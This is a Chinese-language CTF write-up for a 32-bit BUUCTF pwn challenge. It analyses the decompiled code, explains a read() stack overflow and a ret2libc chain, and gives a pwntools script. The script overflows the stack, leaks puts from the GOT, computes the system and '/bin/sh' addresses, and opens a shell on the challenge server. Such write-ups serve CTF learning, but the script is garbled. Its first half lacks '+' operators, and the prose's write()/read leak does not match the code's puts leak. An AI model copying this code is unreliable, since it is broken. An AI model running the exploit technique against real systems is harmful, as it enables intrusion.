文章目录
- 一、查看文件
- 二、IDA反编译
- 代码
一、查看文件
32位
二、IDA反编译
让我们看看代码: fd 是文件句柄,打开给定随机值的文件,切断成四字节 int 赋给
buf 传入 sub_804871F():
所以buf也是随机数。
按顺序看 sub_804871F(buf),
sprintf() 将参数 a1 转换成字符串 s,下一行读入字符串 buf,v5 为其长度
下两行把 buf 去掉最后一个字符,v1 为其新长度
接下来的 if 嵌套 strncmp
真正的溢出点在 sub_80487D0() 内:
考虑控制参数 a1 大数(0xff),触发 read() 的栈溢出
这需要我们在 sub_804871F() 也通过 read() 溢出 让 buf 的长度达到 8 就能覆盖掉 return 的变量
接下来是常规 ret2libc,
在 sub_80487D0() 通过劫持返回地址 write() 泄漏某个函数(我用的是 read )的 got 表地址
最后加上偏移 system() 和 ‘/bin/sh’ 的真实地址
重复调用 sub_80487D0(),栈溢出,返回时调用程序 system(‘/bin/sh’),成功 getshell
代码
from pwn import * #attack r = remote("node4.buuoj.cn",27516) elf = ELF("./pwn") libc = ELF("./libc-2.23.so")下面的链接下载 #params puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main_addr = 0x8048825 #attack1 payload = b'\x00' b'M'*6 b'\xff' r.sendline(payload) #attack2 payload_1 = b'M'*(0xE7 4) p32(puts_plt) p32(main_addr) p32(puts_got) r.sendline(payload_1) r.recvline() puts_addr = u32(r.recv(4)) print("puts_addr: " hex(puts_addr)) #attack3
r.sendline(payload)
#libc
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))
#attack4
payload_2 = b'M'*(0xE7+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload_2)
r.interactive()